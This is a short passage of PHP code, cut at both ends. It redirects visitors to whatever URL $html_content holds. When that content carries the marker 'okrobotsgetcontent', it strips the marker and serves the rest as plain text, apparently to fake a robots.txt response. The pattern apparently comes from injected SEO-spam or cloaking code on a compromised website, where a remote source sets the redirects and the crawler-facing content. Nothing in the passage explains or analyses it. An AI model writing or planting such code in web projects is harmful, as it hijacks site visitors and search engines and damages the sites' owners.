$html_content); header('Location: ' . $html_content); exit(); } elseif (strstr($html_content, 'okrobotsgetcontent')) { header('Content-Type: text/plain'); echo str_replace("okrobotsgetcontent", '', $html_content); exit(); } }